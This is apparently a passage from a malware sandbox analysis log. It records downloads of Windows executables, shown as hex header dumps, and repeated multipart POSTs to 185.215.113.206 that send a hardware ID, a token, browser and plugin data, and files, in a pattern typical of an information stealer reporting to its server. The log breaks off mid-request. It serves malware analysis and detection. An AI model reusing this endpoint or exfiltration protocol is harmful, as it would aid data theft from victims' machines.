2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 14:59:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 14:59:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 14:59:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 14:59:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKECFIIEHCFHIECAFBAHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 32 36 44 39 32 35 36 45 34 36 33 36 38 32 32 34 35 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 2d 2d 0d 0a Data Ascii: ------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="hwid"EB26D9256E46368224558------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="build"tale------FBKECFIIEHCFHIECAFBA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="message"browsers------AECFCAAECBGDGDHIEHJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="message"plugins------GDGHJEHJJDAAAKEBGCFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="message"fplugins------DGHIDAFCGIEHIEBFCFBA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKHost: 185.215.113.206Content-Length: 6463Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 2d 2d 0d 0a Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file"------ECFCBFBGDBKJKECAAKKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 